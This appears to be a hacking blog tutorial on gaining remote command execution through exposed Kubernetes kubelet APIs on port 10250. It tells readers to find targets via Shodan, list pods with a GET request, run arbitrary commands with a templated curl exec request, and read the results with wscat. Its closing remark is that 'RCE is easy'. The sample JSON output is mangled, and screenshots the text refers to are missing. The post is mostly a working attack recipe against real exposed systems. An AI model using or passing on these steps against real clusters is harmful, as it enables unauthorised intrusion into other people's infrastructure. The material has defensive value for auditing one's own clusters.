Exposed Kubernetes API

Slack Group

Before we get started I have started a slack group dedicated to hacking. We welcome everyone from beginner to advanced to join. I will be on everyday answer questions, doing CTFs, and talking about cool hacks. If you enjoy hacking and are looking for like minded people join below:

NEW Hacking Group Slack Channel


With the rise of docker new technologies are bound to be designed around concept of containers. Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google.

Exposed Kubernetes API

Kubernetes exposes an unauthenticated REST API on port 10250. If developers arnt careful this API can be exposed to the internet. A quick Shodan search will find a bunch of these services.

Once a Kubernetes service is detected the first thing to do is to get a list of pods by sending a GET request to the /pods endpoint. The server should respond with something like:

“kind”: “PodList”,
“apiVersion”: “v1”,
“metadata”: {},
“items”: [
“metadata”: {
“name”: “pushgateway-5fc955dd8d-674qn”,
“generateName”: “pushgateway-5fc955dd8d-“,
“namespace”: “monitoring”,
“selfLink”: “/api/v1/namespaces/monitoring/pods/pushgateway-5fc955dd8d-674qn”,
“uid”: “d554e035-b759-11e9-814c-525400bdacd2”,
“resourceVersion”: “9594”,
“creationTimestamp”: “2019-08-05T08:20:07Z”,
“labels”: {
“app”: “pushgateway”,
“pod-template-hash”: “1975118848”,
“”: “pushgateway”
“annotations”: {
“”: “2019-08-05T16:20:07.080938229+08:00”,
“”: “api”,
“”: “{\”kind\”:\”SerializedReference\”,\”apiVersion\”:\”v1\”,\”reference\”:{\”kind\”:\”ReplicaSet\”,\”namespace\”:\”monitoring\”,\”name\”:\”pushgateway-5fc955dd8d\”,\”uid\”:\”d552bfb3-b759-11e9-814c-525400bdacd2\”,\”apiVersion\”:\”extensions\”,\”resourceVersion\”:\”9591\”}}\n”
“ownerReferences”: [
“apiVersion”: “extensions/v1beta1”,
“kind”: “ReplicaSet”,
“name”: “pushgateway-5fc955dd8d”,
“uid”: “d552bfb3-b759-11e9-814c-525400bdacd2”,
“controller”: true,
“blockOwnerDeletion”: true
“spec”: {
“volumes”: [
“name”: “default-token-qgm5l”,
“secret”: {
“secretName”: “default-token-qgm5l”,
“defaultMode”: 420
“containers”: [
“name”: “pushgateway”,
“image”: “”,
“ports”: [
“name”: “http”,
“containerPort”: 9091,
“protocol”: “TCP”

From the above response we get namespace name, pod names, and container names:

  • Namespace
    • monitoring
  • Pod Name
    • pushgateway-5fc955dd8d-674qn
  • Container Name
    • pushgateway

With this information it is possible to send a requests to the API service that will execute a provided command. This can be done by sending the follow GET request.

curl –insecure -v -H “X-Stream-Protocol-Version:” -H “X-Stream-Protocol-Version:” -H “Connection: upgrade” -H “Upgrade: SPDY/3.1” -X POST “https://<DOMAIN>:<PORT>/exec/<NAMESPACE>/<POD NAME>/<CONTAINER NAME>?command=<COMMAND TO EXECUTE>&input=1&output=1&tty=1”

After sending the requests you should receive a response similar to the message below:

As you can see the above response indicates it was successful and a websocket connect was created. Note the Location Header value, in this response its value is equal to /cri/exec/Bwak7x7h

To handle websocket connections use the tool wscat. This tool can be downloaded by issuing the following command:

apt-get install node-ws

Now take the location header value which was noted earlier and send the following requests to get the command output:

wscat -c “https://<DOMAIN>:<PORT>/<Location Header Value>” –no-check

As you can see in the above image the command “id” was ran on the container and the output is displayed. We have successfully executed code on the remote container, RCE is easy.


With new technology comes new vulnerabilities. The rise of docker containers gave birth to Kubernetes. If a developer isnt careful they could easily end up exposing the Kubernetes API to the world. This could allow remote attackers to execute commands on containers unauthenticated.